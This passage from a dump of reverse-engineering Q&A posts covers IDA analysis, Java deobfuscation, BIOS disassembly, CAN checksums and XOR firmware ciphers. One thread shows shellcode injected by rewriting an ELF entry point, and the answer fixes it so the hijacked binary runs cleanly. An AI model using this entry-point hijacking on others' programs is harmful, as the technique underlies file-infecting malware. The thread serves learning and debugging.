the end of the function correctly.</p>\n\n<p><a href=\"https://i.stack.imgur.com/t02bN.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/t02bN.png\" alt=\"enter image description here\"></a></p>\n\n<p>Right clicking the function <strong>foo</strong> in Functions view and selecting Edit function and changing the end address to 0:000000000000006C fixes the SP analysis problem.</p>\n\n<p>When trouble shooting SP Analysis failures also enabling Stack Pointer in <strong>Options</strong> | General and selecting <strong>Stack Pointer</strong> can help you determine cause of problems, this will show the stack pointer value in green text to the left of instructions.</p>\n\n<p><a href=\"https://i.stack.imgur.com/KDiqP.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KDiqP.png\" alt=\"enter image description here\"></a></p>\n\n<p>The 3rd sample provided it's the same issue. To find the end of function, switch to Text view find the offset of retn and add one, for example the end of function in the last sample provided is 5D5.</p>\n\n<p>The root cause of the problem is the redundant REX prefix (0x40) at the start. Normal 64-bit function prologs start with 55 48 89 E5 so IDA tries to create a function at address 1 which interferes with the actual function at 0 and makes it stop after one instruction. This planned to be fixed in future releases of IDA.</p>\n"
    },
    {
        "Id": "23019",
        "CreationDate": "2020-01-16T13:14:41.923",
        "Body": "<p><a href=\"https://i.stack.imgur.com/rzSfT.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/rzSfT.png\" alt=\"enter image description here\"></a></p>\n\n<p>Hi guys, I'm just practising the difference between global and local variables and how they are represented in x86 assembly. I just don't understand the use of the ds segment register and the NOP slide at the end (nop and xchg ax, ax are the same thing).</p>\n\n<p>Thanks for your help! </p>\n",
        "Title": "I don't understand the use of mov eax,ds:0x404004 and the NOP slide in this code I made",
        "Tags": "|x86|",
        "Answer": "<p>You can refer to this <a href=\"https://stackoverflow.com/questions/3819699/what-does-ds40207a-mean-in-assembly\">answer</a> for the <code>DS</code> part.</p>\n\n<p>I believe the <code>nop</code> and <code>xchg</code> are only paddings. They appear after <code>ret</code>, and they aren't executed as part of the function.</p>\n"
    },
    {
        "Id": "23024",
        "CreationDate": "2020-01-16T21:17:16.830",
        "Body": "<p>I'm trying to decompile an old binary (about 20 year old).</p>\n\n<p>The program uses exceptions.</p>\n\n<p>I found some FuncInfo but they do not contain any pTryBlockMap and nTryBlocks is 0.</p>\n\n<p>I've tried many options on the VC6 compiler but I could not get this result.</p>\n\n<p>The stack doesn't look like a regular stack:</p>\n\n<pre><code>...\nSEH handler\nscope table\nTry Level\nsaved EBP\nreturn address\n</code></pre>\n\n<p>But it looks like:</p>\n\n<pre><code>...\nSEH handler\nTry level\nreturn address\n</code></pre>\n\n<p>Do you have any idea how to achieve this and why it would have been like that ?</p>\n\n<p>SEH Handler is :</p>\n\n<pre><code>MOV        EAX,DAT_00412c90\nJMP        ___CxxFrameHandler\n</code></pre>\n\n<p>FuncInfo@00412c90</p>\n\n<pre><code>19930520\n00000005\n00412cb0\n00000000\n00000000\n00000000\n00000000\n00000000\n</code></pre>\n",
        "Title": "VC 6 C++ Exception handling, nTryBlocks=0, pTryBlockMap=0 , how?why?",
        "Tags": "|decompilation|c++|callstack|",
        "Answer": "<p>Actually it was so obvious - I just haven't read the C++ standard and was writing <code>throw()</code> specification thinking it would allow all exceptions - instead it turned out it was the exact opposite.</p>\n\n<p>And yes this <code>throw</code> function specification is what is causing those zero TryBlockMap  with more than one Unwind entries. Here is a VC++ 6.0 (and later) compilable example (view dissasembly of <code>f</code>):</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nstruct B {\n    int a, b;\n};\n\nstruct B1 {\n    B1() {};\n    B1(const B1&amp; tmp) {\n        a1 = tmp.a1;\n        printf(\"B1::B1 copy constr\\n\");\n    }\n    ~B1() {\n        printf(\"~B1()\\n\");\n    }\n    int a1, b1;\n};\n\nstruct A : B, B1 {\n    int b, c;\n};\n\nstruct A f() throw(int) {\n    struct A tmp;\n    return tmp;\n}\n\nint main() {\n    f();\n}\n</code></pre>\n\n<p>With two unwind entries. The tricky part in that scenario is that <code>throw</code> specification is not added to the type of the function so even if you have debug symbols (PDB) - you still will have your head banging against the wall.</p>\n\n<p>EDIT: Actually the above example won't work for newer versions of MSVC - if you want to do it there you would need to add a <code>try</code> - <code>catch</code> block encapsulating the <code>f()</code> call.</p>\n\n<p>Also the <code>class A</code> and all of it's parents were a test case for <a href=\"https://reverseengineering.stackexchange.com/questions/24804/what-is-the-mdisp-field-in-rtti-for-throw-used-for\">another question</a> related to the topic of C++ exception if you want to learn more but otherwise I don't think this exact structure is necessary to trigger the generation of FunctionInfo with zero TryBlocks. There just need to be something going on in <code>f</code> I think.</p>\n"
    },
    {
        "Id": "23030",
        "CreationDate": "2020-01-17T14:43:42.267",
        "Body": "<p>I'm sorry for such as questions where answer would seem to be easily searched in google...</p>\n\n<p>Some time ago I have seen table/list of ARMv8 instructions with opcodes and it was perfect, but I lost link. Now I'm trying to find at least some sources where opcodes of instructions listed and can't.</p>\n\n<p>There're some C headers, where opcodes defined in non-readable form, lot of different scientific publications with 1k+ pages (containing no opcodes), etc., but I can't find simple list.</p>\n\n<p>Could somebody point me?</p>\n",
        "Title": "ARMv8 (AArch64, ARM64) opcodes list",
        "Tags": "|assembly|arm|arm64|",
        "Answer": "<p>The canonical source is the <a href=\"https://developer.arm.com/docs/ddi0487/latest/arm-architecture-reference-manual-armv8-for-armv8-a-architecture-profile\" rel=\"noreferrer\">ARM Architecture Reference Manual</a>. \nIf you prefer machine readable format, the  <a href=\"https://developer.arm.com/architectures/cpu-architecture/a-profile/exploration-tools\" rel=\"noreferrer\">XML files are available too</a>. </p>\n"
    },
    {
        "Id": "23035",
        "CreationDate": "2020-01-17T17:15:11.707",
        "Body": "<p>I've got a jarfile from a friend, he told me to put it thru an decompiler. So I did, but:</p>\n\n<ul>\n<li>JD-GUI basically spit out just the imports and didn't show any class data</li>\n<li>CFR dumped out stack trace on certain and created basically unusable Java code</li>\n<li>I didn't even try using JAD for it because it's using pattern matching for decompilation</li>\n<li><strong>The bytecode, according to the specification, is invalid</strong> because it contains incorrect entry for constant table</li>\n<li>JBE spit out a couple of errors and crashed, the same goes for fernflower</li>\n</ul>\n\n<p>Albeit all of that, <strong>I tried to execute it on a virtual machine - and it works!</strong> I'm literally swept off my knees looking at what happened there, and I believe this may be a fragment of code that is simply un-decompilable. I also did analyze the class file by hand, but everything seemed so contradictionary I eventually gave up. And, what is more interesting, <strong>I tried to use it along with multiple JRE versions starting with Java 13 and ending with Java 8 it worked in practice everywhere and I can't believe it</strong>.</p>\n\n<p><a href=\"http://kspalaiologos.baselinux.net/doc/unnamedObf.jar\" rel=\"noreferrer\">The jar file</a>.</p>\n\n<p>I've also uploaded the <a href=\"http://kspalaiologos.baselinux.net/doc/dump.java\" rel=\"noreferrer\">CFR output</a> (it's hillarious). I don't know really much about the obfuscator and the person who sent me the jar refuses to provide the further information, but I've got permission for redistributing and obviously decompiling it. Last bit of information I've got is the fact that the obfuscator is supposedly public and free-to-use, but I refuse to believe it (it could be though, unless I've been a victim of bluffing).</p>\n\n<p>How do I even tackle that? How is this, that the jar-file is almost completely obfuscated up until this point all the tooling that exists nowadays has severe problems with even outputting the bytecode assembly? It's not a very confidental piece of code and I'd most probably throw it away and forget about it, but I'm so curious on how it works, I've spent around two days trying to figure it out.</p>\n\n<p>Thanks in advance for any help.</p>\n",
        "Title": "Dealing with heavily obfuscated Java, possibly on bytecode level",
        "Tags": "|obfuscation|java|deobfuscation|",
        "Answer": "<p>First off, <strong>you should never use <code>javap</code> when dealing with obfuscated applications</strong>, because <code>javap</code> is not designed to handle malicious bytecode, and can easily be thwarted in a number of ways. Luckily, the <a href=\"https://github.com/Storyyeller/Krakatau\" rel=\"nofollow noreferrer\">Krakatau disassembler</a> is specifically designed for working with obfuscated bytecode and can handle pretty much anything. (If you find anything that runs on the JVM and can't be disassembled, please file a bug). Luckily, in this case it disassembles without errors.</p>\n<p>In addition to the bytecode disassembler and assembler, Krakatau also contains a Java decompiler which is specifically designed for decompiling obfuscated bytecode. It's not particularly user friendly, but it can often decompile stuff that no other decompiler can handle. In this case, Krakatau was able to decompile your application without errors after some minor fixes.</p>\n<p>In order to decompile your app with Krakatau, I had to do two things:</p>\n<ul>\n<li>Fix a Python 2 unicode handling error (the <code>'ascii' codec can't decode byte 0xe2 in position 0: ordinal not in range(128)</code> message you got) by changing <code>.decode()</code> to <code>.decode('utf8')</code>.</li>\n<li>Supply the Spigot library with the <code>-path</code> option. I had to modify the Spigot jar slightly first, to move the bukkit part to the right path (it expects classes at <code>org/bukkit/craftbukkit/entity/CraftPlayer</code>, but that class is located at <code>bukkit/craftbukkit/v1_15_R1/entity/CraftPlayer</code> in the Jar I downloaded).</li>\n</ul>\n<p>Anyway, once that was done, the obfuscated jar you provided decompiled without errors. Note that the jar makes use of <code>invokedynamic</code>, which can't be decompiled in general, since it is a bytecode feature that has no Java equivalent. In order to warn you of this, Krakatau outputs comments in the decompiled source like this:</p>\n<pre><code>                label12: {\n                    try {\n                        if (!/*invokedynamic*/false) {\n                            break label12;\n                        }\n                        if (b) {\n                            break label12;\n</code></pre>\n<p>In cases like this, you need to consult the disassembled bytecode to see exactly what it is doing:</p>\n<pre><code>L14:    iload 6 \nL16:    ifne L8 \nL19:    invokedynamic InvokeDynamic invokeStatic Method [c24] '\\u200c\\u2001\\u2005\\u2001' [u26] : '\\ufb05\\u58d7\\ufb06\\u0226\\udb3d\\u78ef\\ufb09\\u0226\\ufb00\\u58d5\\udb3d\\u221f\\udb32' '()L\\u2004\\u2006\\u2007\\u2007;' \nL24:    invokedynamic [id154] \nL29:    invokedynamic InvokeDynamic invokeStatic Method [c24] '\\u200c\\u2001\\u2005\\u2001' [u26] : [nat157] \nL34:    invokedynamic InvokeDynamic invokeStatic Method [c24] '\\u200c\\u2001\\u2005\\u2001' [u26] : '\\ufb05\\u58d7\\ufb06\\u0226\\udb3d\\u78ef\\ufb09\\u0226\\ufb00\\u58d5\\udb3d\\u221f\\udb32' '()L\\u2004\\u2006\\u2007\\u2007;' \nL39:    new '\\u200b\\u2007\\u2006\\u200d' \nL42:    dup \nL43:    aload 4 \n</code></pre>\n<p>As far as obfuscations go, the main obfuscations I noticed were a) renaming everything to unicode, and b) inserting dummy fields and a bunch of fake control flow branching on those fields. Here is an example of the latter in the decompiled output:</p>\n<pre><code>    boolean b = \\u200e\\u200a;\n    label0: {\n        if (b) {\n            break label0;\n        }\n        if (b) {\n            break label0;\n        }\n        \\u2005\\u200c\\u2005\\u2009 = new java.util.HashMap();\n        if (!b) {\n        }\n    }\n</code></pre>\n<p>Note that the Krakatau decompiler performs a lot of analysis to simplify the control flow. It is no wonder that other decompilers would just give up when seeing complicated control flow like this.</p>\n<p>It is also notable that this is a fairly weak obfuscation. In particular, it creates a static field and branches on the value, but it never actually assigns to that field, so the field can just be replaced by a constant to simplify the bytecode. This reminds me a bit of bytecode I've seen that was obfuscated by ZKM, so it is possible that your friend was using ZKM.</p>\n<p>For example, after I patched the jar to replace the static fields with a constant <code>false</code> and decompiled it again, Krakatau's constant propagation was able to completely simplify away the fake control flow. Here's the decompiled version of the same function as above after replacing the field with <code>false</code>:</p>\n<pre><code>static {\n    \\u2005\\u200c\\u2005\\u2009 = new java.util.HashMap();\n}\n</code></pre>\n"
    },
    {
        "Id": "23038",
        "CreationDate": "2020-01-17T23:45:14.623",
        "Body": "<p>I'm looking for a list of all vulnerabilities that can be present in C so I can practice them all.</p>\n\n<p>I found this: <a href=\"https://www.owasp.org/index.php/Category:C/C++\" rel=\"nofollow noreferrer\">Category:C/C++</a>, but it's not of much use.</p>\n",
        "Title": "I'm looking for a list of C vulnerabilities like OWASP Top 10",
        "Tags": "|c|",
        "Answer": "<p>This is a great resource. You can find most of the material on SEI CERT website but the book is great.</p>\n\n<p><a href=\"https://rads.stackoverflow.com/amzn/click/com/0321822137\" rel=\"nofollow noreferrer\" rel=\"nofollow noreferrer\">https://www.amazon.com/Secure-Coding-2nd-Software-Engineering/dp/0321822137</a></p>\n"
    },
    {
        "Id": "23064",
        "CreationDate": "2020-01-20T23:58:46.000",
        "Body": "<p>I'm working on a larger reversing project and came across this segment. I don't really understand what's going on here. There is no other way to proceed along the flow of control besides bypassing this block and jumping to 0x400d2d. Also noting that there are other locations in this program that call strtok with \"reasonable\" arguments, and I've bypassed those sections correctly. Would anyone share some wisdom I'm lacking? Thank you!</p>\n\n<pre><code>mov     esi, 0x401018  // delimiter argument '\\'\nmov     edi, 0x0       // address at 0? doesn't make sense\ncall    strtok\nmov     qword [rbp-0x48], rax  // this is always going to return 0\ncmp     qword [rbp-0x48], 0x0  \njne     0x400d2d // want to jump here, but can't\n</code></pre>\n",
        "Title": "strtok called on char pointer at 0",
        "Tags": "|x86|",
        "Answer": "<p>This would be typical to see in use of strtok function.\nExample code from <a href=\"https://www.tutorialspoint.com/c_standard_library/c_function_strtok.htm\" rel=\"nofollow noreferrer\">here</a></p>\n\n<pre><code>#include &lt;string.h&gt;\n#include &lt;stdio.h&gt;\n\nint main()\n{\nchar str[80] = \"This is - www.tutorialspoint.com - website\";\n   const char s[2] = \"-\";\n   char *token;\n\n   /* get the first token */\n   token = strtok(str, s);\n\n   /* walk through other tokens */\n   while( token != NULL ) {\n      printf( \" %s\\n\", token );\n\n      token = strtok(NULL, s);\n   }\n}\n</code></pre>\n\n<p>Disassembly:</p>\n\n<pre><code>.LC0:\n        .string \" %s\\n\"\nmain:\n        push    rbp\n        mov     rbp, rsp\n        sub     rsp, 112\n        movabs  rax, 2338328219631577172\n        movabs  rdx, 8463440690376286253\n        mov     QWORD PTR [rbp-96], rax\n        mov     QWORD PTR [rbp-88], rdx\n        movabs  rax, 8102939320206389108\n        movabs  rdx, 7885630523722066287\n        mov     QWORD PTR [rbp-80], rax\n        mov     QWORD PTR [rbp-72], rdx\n        movabs  rax, 7598525184233975072\n        mov     edx, 25972\n        mov     QWORD PTR [rbp-64], rax\n        mov     QWORD PTR [rbp-56], rdx\n        mov     QWORD PTR [rbp-48], 0\n        mov     QWORD PTR [rbp-40], 0\n        mov     QWORD PTR [rbp-32], 0\n        mov     QWORD PTR [rbp-24], 0\n        mov     WORD PTR [rbp-98], 45\n        lea     rdx, [rbp-98]\n        lea     rax, [rbp-96]\n        mov     rsi, rdx\n        mov     rdi, rax\n        call    strtok\n        mov     QWORD PTR [rbp-8], rax\n.L3:\n        cmp     QWORD PTR [rbp-8], 0\n        je      .L2\n        mov     rax, QWORD PTR [rbp-8]\n        mov     rsi, rax\n        mov     edi, OFFSET FLAT:.LC0\n        mov     eax, 0\n        call    printf\n        lea     rax, [rbp-98]\n        mov     rsi, rax\n        mov     edi, 0\n        call    strtok\n        mov     QWORD PTR [rbp-8], rax\n        jmp     .L3\n.L2:\n        mov     eax, 0\n        leave\n        ret\n</code></pre>\n\n<p>The  token = strtok(NULL, s); line is compiled with </p>\n\n<pre><code>mov edi,0\ncall strtok\n</code></pre>\n\n<p>You can quickly check/compare different compilers and their assembly output with the website <a href=\"https://godbolt.org/\" rel=\"nofollow noreferrer\">https://godbolt.org/</a></p>\n"
    },
    {
        "Id": "23081",
        "CreationDate": "2020-01-23T18:04:29.000",
        "Body": "<p>I remember that hexrays has the option to generate a dummy struct from a pointer. That is if we access a pointer in offsets 0x36, 0x24 it will create a struct with members off24 , off36. </p>\n\n<p>In what cases do I see this option in the menu? Or how to make it appear?\nI remember that I got it once and it helped me. But since I don't see it , where it is very logical. So, I guess I don't understand its logic. \nEither this, or it is not present in IDA 7.4 .</p>\n",
        "Title": "Generate dummy struct in IDA hexrays",
        "Tags": "|struct|",
        "Answer": "<p>You should right-click and select \"reset pointer type\". And then you get \"make new struct\" in the menu. </p>\n"
    },
    {
        "Id": "23083",
        "CreationDate": "2020-01-23T23:28:51.507",
        "Body": "<p>So after changing the entry point via the <strong>e_entry</strong> field I managed to execute my shellcode before returning control to the original entry point. Here's how I did it:</p>\n\n<pre><code> // write string and jump to OEP, patch address at 23\n    unsigned char shellcode[] = \"\\x48\\x31\\xc0\\x48\\x31\\xff\\x48\\x31\\xf6\\xeb\"\n                      \"\\x16\\x5e\\xb0\\x01\\x40\\xb7\\x01\\xb2\\x09\\x0f\"\n                      \"\\x05\\x48\\xb8\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n                      \"\\xff\\xe0\\xe8\\xe5\\xff\\xff\\xff\\x68\\x69\\x6a\"\n                      \"\\x61\\x63\\x6b\\x65\\x64\\x0a\";\n</code></pre>\n\n<p>So as soon as I parse the ELF header I patch the shellcode:</p>\n\n<pre><code>uint64_t oep = ehdr-&gt;e_entry;\nmemcpy(&amp;opcode[23], &amp;oep, 8);\n</code></pre>\n\n<p>Everything works, the shellcode executes and then execution resumes where it should. The problem is that after the target's main function finishes it segfaults(To make things simple I just made a program that prints a string).</p>\n\n<p>So I used gdb and IDA to see what's going on. Just to make things clear the flow of excution is as follows:</p>\n\n<ul>\n<li>execution starts at the shellcode</li>\n<li>shellcode jumps to _start</li>\n<li>_start calls libc_start_main</li>\n<li>main executes and returns to libc_start_main</li>\n</ul>\n\n<p>Now, after main returns IDA shows the following:</p>\n\n<pre><code>libc_start_main:\n ext:000000000040244B                 lea     rax, [rsp+108h+var_98]\n.text:0000000000402450                 mov     fs:300h, rax\n.text:0000000000402459                 mov     rdx, cs:environ\n.text:0000000000402460                 mov     edi, [rsp+108h+var_FC]\n.text:0000000000402464                 mov     rsi, [rsp+108h+var_F8]\n.text:0000000000402469                 mov     rax, [rsp+108h+mainaddr]\n.text:000000000040246E                 call    rax             ; jump to main\n.text:0000000000402470                 mov     edi, eax\n.text:0000000000402472\n.text:0000000000402472 loc_402472:                             ; CODE XREF: __libc_start_main+4AF\u2193j\n.text:0000000000402472                 call    exit\n.text:0000000000402477 ; -----------------------------------------------------------\n</code></pre>\n\n<p>The <strong>exit</strong> function ends up calling <strong>run_exit_handlers</strong> which appears to be the real culprit, as it faults with the following instruction:</p>\n\n<pre><code>mov     rdx, [rax+18h]\nmov     rdi, [rax+20h]\nmov     qword ptr [rax+10h], 0\nmov     esi, ebp\nror     rdx, 11h\nxor     rdx, fs:30h\ncall    rdx             ; faults\njmp     loc_40823A\n</code></pre>\n\n<p>For some reason rdx has the value of 9, which is not allowed and hence causes the segmentation fault.</p>\n\n<p>I searched for information on <strong>run_exit_handlers</strong> but didn't find anything meaningful.</p>\n\n<p>So my question is: Why is this happening? All my shellcode does is write a string and jump to the OEP, it shouldn't really affect anything else.</p>\n",
        "Title": "ELF file crashing after executing shellcode",
        "Tags": "|ida|x86|elf|shellcode|",
        "Answer": "<p>You problem is that your shellcode uses <code>RDX</code> by setting <code>dl</code> to <code>9</code> for the sake of <code>sys_write</code> syscall. You are not setting this variable back to it's initial value of <code>0</code> and unfortunately this is being passed to <code>_start</code> where it's being treated as a pointer to function that will be executed as a finalizer. That's why you're getting a segfault since CPU try to execute code from address <code>0x9</code>.</p>\n\n<p>You should save the registers before you execute your shellcode and restore them before returning to the entry point. But for the sake of this example it will work if you would just clear (r)dx before jumping back.</p>\n\n<p>Modified shellcode with added <code>\\x48\\x31\\xd2</code> for <code>xor rdx,rdx</code> and changed offsets at <code>shellcode[10]</code> and <code>shellcode[37]</code> to adjust for additional bytes in it (modified them manually - if you have the source code - you can do that in code and compile)</p>\n\n<pre><code>unsigned char shellcode[] = \n              \"\\x48\\x31\\xc0\\x48\\x31\\xff\\x48\\x31\\xf6\\xeb\"\n              \"\\x19\\x5e\\xb0\\x01\\x40\\xb7\\x01\\xb2\\x09\\x0f\"\n              \"\\x05\\x48\\xb8\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\xff\\x48\\x31\\xd2\"               \n              \"\\xff\\xe0\\xe8\\xe2\\xff\\xff\\xff\\x68\\x69\\x6a\"\n              \"\\x61\\x63\\x6b\\x65\\x64\\x0a\"; \n</code></pre>\n\n<p>A bit more explanation why <code>RDX</code> is problematic here. After your shellcode finishes its job it executes <code>_start</code> which has those two lines as in the beginning:</p>\n\n<pre><code>  00400a30 31  ed          XOR       EBP ,EBP\n  00400a32 49  89  d1      MOV       R9 ,RDX\n</code></pre>\n\n<p>so whatever will be in <code>RDX</code> will be assigned to <code>R9</code>. Later the <code>__libc_start_main</code> is called and if you check its' signature (for example <a href=\"https://refspecs.linuxbase.org/LSB_3.1.1/LSB-Core-generic/LSB-Core-generic/baselib---libc-start-main-.html\" rel=\"nofollow noreferrer\">here</a>) you can see it takes 7 arguments. The are passed via registers and according to Linux ABI the 6th is passed as a <code>R9</code> register and the 6th parameter in <code>_libc_start_main</code> is callback for finalizers. That's why value in <code>RDX</code> matters as it's being passed to <code>R9</code> and in the end ends up as a callback address.</p>\n"
    },
    {
        "Id": "23086",
        "CreationDate": "2020-01-24T12:10:46.973",
        "Body": "<p>I'm trying to reverse a BIOS of an industrial PC in order to repair it. The device is based on an ETX-formfactor mobo, obscure Italian SECO M671, very similar to an old Kontron PM-15(C), but with a custom OEM BIOS. I.e., Intel Celeron M (mobile = Dothan family) processor + 82855 Northbridge + 82801 (ICH4) Southbridge. BIOS is stored on an Intel Firmware Hub-compatible flash chip (sst49lf004b), which is connected to the LPC bus.</p>\n\n<p>The mobo started to refuse to POST (blank screen and nothing happens) with POST sequence d0, 00, d1, d2. I don't know why there is 00h code (it usually means that control is handed to the OS) and I tried to ignore it. d0, d1, d2 pattern corresponds to AMIBIOS8, I thought, (and yes, noone remembers the bios manufacturer) and means bad bootblock checksum.</p>\n\n<p>Then I've made a dump of the contents of the flash chip with a parallel programmer. But they turned out to be fine, exactly equal to the backup file (taking into account some offset differences)! Actually, except one thing: flash chip contains (far apart from the \"main\" code section) a second VGA BIOS module which I've not found in the backups. But I suppose it can't hurt that much and it is there probably for some optional functionality.</p>\n\n<p>So either a bad LPC controller inside flash chip (because programming interface is parallel, this is still possible), or I've misinterpreted the POSTcodes. Also I've compared my backup file to some AMI update files and found no similarities. So it seems BIOS reversing and understanding D2 is now my only option. Probably once I disassemble it right, I'll just have to search for immediate 0xd2-s and find the right one).</p>\n\n<p>I've loaded flash chip image into IDA, looked up chipset datasheet (which, BTW, I found incredibly unclear on the topic of BIOS memory mapping) and corrected flash chip addresses accordingly, i.e. copied upper 128K of BIOS ROM to 0xE0000 to 0xFFFFF 16-bit analysis section, and also copied everything that fits to High-BIOS area FFE0_0000h-FFFF_FFFFh (32-bit analysis section, because of 32-bit address). Then started analysis at 0xFFFF0 (x86 reset vector, 16-bit real mode). Processor setting is P6 (as far as I can tell Dothan family is based on P6 arch) And this is what I get (note that F7A1 and the pointer in red both lead to memory which is not mapped to BIOS ROM, at least as far as I can tell from the datasheet):\n<a href=\"https://i.stack.imgur.com/KhNhl.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/KhNhl.png\" alt=\"IDA disassembly\"></a></p>\n\n<p>Obviously, 32-bit analysis (at FFFF_FFF0) of the first 16 bytes executed makes no sense too, since the processor starts up in real mode.</p>\n\n<p>Keyboard controller access (first check if it's busy, then enable A20 - standard x86 thing) tells me that I was probably right with reset vector memory mapping.</p>\n\n<p>But why does it jump to some empty locations? What am I doing wrong? Flash chip image and backup file: <a href=\"https://drive.google.com/drive/folders/1MwpiqiRK3N9ZBajyiOUuZde522236gmq?usp=sharing\" rel=\"noreferrer\">https://drive.google.com/drive/folders/1MwpiqiRK3N9ZBajyiOUuZde522236gmq?usp=sharing</a></p>\n\n<hr>\n\n<p>EDIT: The pointer in red actually leads to a location mapped to BIOS ROM, my bad.\nHere is where the control jumps:\n<a href=\"https://i.stack.imgur.com/mdGYN.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/mdGYN.png\" alt=\"IDA disassembly2\"></a>\nWe've found POSTcode D0, that's great. But here all jumps lead to some low addresses, which are not mapped to BIOS ROM. Same problem repeats.</p>\n",
        "Title": "BIOS first jump leads to empty memory",
        "Tags": "|ida|x86|firmware|firmware-analysis|bios|",
        "Answer": "<p>You need to load the last 64KB of the ROM at linear address 0xF0000 (0xF000:0000) and create there a 16-bit segment with the base 0xF000. Then all your \u201clow addresses\u201d will line up (they point into the current segment with CS=0xF000). </p>\n\n<p>In case you get references to E000, load the second 64KB chunk and so on. </p>\n\n<p>Once you get to 32-bit code, it will likely be using 32-bit addressing with the end of the ROM at FFFFFFFF, so load and create 32-bit segments accordingly. </p>\n"
    },
    {
        "Id": "23094",
        "CreationDate": "2020-01-24T23:52:33.347",
        "Body": "<p>Maybe someone can help me with algorithm for checksum calculation. CRC 8 does not fit. Left byte is CRC.</p>\n\n<pre><code>B9 30 13 00 00 20 00 00\n36 31 13 00 00 20 00 00\nBA 32 13 00 00 20 00 00\n35 33 13 00 00 20 00 00\nBF 34 13 00 00 20 00 00\n30 35 13 00 00 20 00 00\nBC 36 13 00 00 20 00 00\n33 37 13 00 00 20 00 00\nB5 38 13 00 00 20 00 00\n3A 39 13 00 00 20 00 00\nB6 3A 13 00 00 20 00 00\n39 3B 13 00 00 20 00 00\nB3 3C 13 00 00 20 00 00\n3C 3D 13 00 00 20 00 00\nB0 3E 13 00 00 20 00 00\n3F 3F 13 00 00 20 00 00\n\n7E 01 00 00 00 20 00 00\nF2 02 00 00 00 20 00 00\n7D 03 00 00 00 20 00 00\nF7 04 00 00 00 20 00 00\n78 05 00 00 00 20 00 00\nF4 06 00 00 00 20 00 00\n7B 07 00 00 00 20 00 00\nFD 08 00 00 00 20 00 00\n72 09 00 00 00 20 00 00\nFE 0A 00 00 00 20 00 00\n71 0B 00 00 00 20 00 00\nFB 0C 00 00 00 20 00 00\n74 0D 00 00 00 20 00 00\nF8 0E 00 00 00 20 00 00\n77 0F 00 00 00 20 00 00\nF1 00 00 00 00 20 00 00\n</code></pre>\n",
        "Title": "CAN Bus checksum",
        "Tags": "|crc|",
        "Answer": "<p>I did not find anything using the whole message; however, because the last 5 bytes are the same in all the messages you provided, I omitted them one by one and ran reveng on the truncated messages. </p>\n\n<p>reveng provides the following output if we leave out the last 4 bytes:</p>\n\n<pre><code>./reveng -w 8 -s 301300B9 31130036 321300BA 33130035\nwidth=8  poly=0x1d  init=0xff  refin=false  refout=false  xorout=0xff  check=0x4b  residue=0xc4  name=\"CRC-8/SAE-J1850\"\n</code></pre>\n\n<p>This algorithm works for all of the samples you provided. </p>\n"
    },
    {
        "Id": "23098",
        "CreationDate": "2020-01-25T10:08:40.040",
        "Body": "<h3>TL;DR</h3>\n\n<p>I have an encrypted image and the cleartext version, and I'm almost certain it's an XOR cipher, but I can't figure out how to decrypt it.  I have a few clues listed below.</p>\n\n<ul>\n<li><a href=\"http://files.shikadi.net/malv/files/stackexchange/ciphertext.bin\" rel=\"nofollow noreferrer\">Ciphertext excerpt</a> (20kB)</li>\n<li><a href=\"http://files.shikadi.net/malv/files/stackexchange/cleartext.bin\" rel=\"nofollow noreferrer\">Cleartext excerpt</a> (20kB)</li>\n</ul>\n\n<h3>Detail</h3>\n\n<p>I'm trying to reverse engineer the firmware for a pro audio device, and I've got most of the way but I'm stuck on a step in the middle.</p>\n\n<p>I'm pretty sure it's an XOR cipher (as there was one XOR decryption already to get to this point, and there is another one after).  It seems to be applied in blocks of 0x1000 bytes, as the key seems to reset after this many bytes.  The initial key seems to be <code>2</code> and it is incremented by 1 every 0x2000 bytes.  At the start of each block, the current 'initial key' is XOR'd with <code>0x4002</code> to produce the real key.  Thus the keys reset to these values at these offsets:</p>\n\n<pre><code>Offset | Key\n-------+--------------------\n0x0000 | 2 ^ 0x4002 = 0x4000\n0x1000 | 2 ^ 0x4002 = 0x4000\n0x2000 | 3 ^ 0x4002 = 0x4001\n0x3000 | 3 ^ 0x4002 = 0x4001\n0x4000 | 4 ^ 0x4002 = 0x4006\n</code></pre>\n\n<p>The cipher seems to work in units/words of 16-bits, little endian.  After each word has been XOR'd with the key, the key is bit-shifted right by <code>1</code>.</p>\n\n<p>However this is where I have come unstuck.  Sometimes, apparently at random, the key needs to be XOR'd by <code>0x4002</code>.  I cannot see the pattern as to when this happens.  Initially it looks like it happens every four bytes (two words) but this falls apart at offset 0x22.</p>\n\n<p>I tried XOR'ing the ciphertext and cleartext to produce a long XOR keyfile, and then tried to work out how to reproduce that keyfile.  By XOR'ing my guess against the large keyfile, it should end up as <code>0x00</code> bytes if I am correct.  However it often ends up as <code>0x02 0x40</code> bytes, and by writing code that detected these mistakes and adjusted the key accordingly, I was able to see where and when the key needs to be XOR'd by <code>0x4002</code> in order to decrypt the data correctly.  I've been staring at it for a few hours now, but it just looks random to me, I can't spot any pattern!</p>\n\n<p>For example, in the block starting at offset 0, the key needs to be XOR'd with <code>0x4002</code> at offsets 0, 4, 8, 12 (every four bytes) but then at offset 20 it drops back to every two bytes (20, 22, 24, -not 26-, 28, 2A, 2A, -not 2E-, etc.)  I can't see the pattern as to when this extra XOR on the key should happen.  It doesn't seem to be related to the previous value, the offset, the key value, etc. (of course it probably is I just can't see it.)</p>\n\n<h3>Background</h3>\n\n<p>The source data has come from a firmware file from the manufacturer, which I have decoded from MIDI SysEx events and decrypted with an XOR cipher.  I know this cipher is correct as it produces a correct header and footer, along with block numbers every 256 bytes.  After processing these I end up with a source image that is exactly the same size as the firmware dump taken direct from the device's ROM chip with a Minipro EEPROM reader.</p>\n\n<p>The XOR cipher I am struggling with is the last step in going from the manufacturer's firmware file to what gets flashed into the ROM chip (and vice versa, as programming a custom ROM is my ultimate goal).</p>\n\n<p>Note that what does get flashed into the ROM chip (what I am referring to here as the cleartext) is itself further XOR encrypted, however I have successfully decrypted that so it is no issue here (and this in-flash encryption is required as the bootloader expects it.)</p>\n\n<p>If anyone is able to assist me in figuring out this algorithm, I will be implementing it and releasing it as open source, as <a href=\"https://github.com/Malvineous/behringerctl\" rel=\"nofollow noreferrer\">part of a project I am working 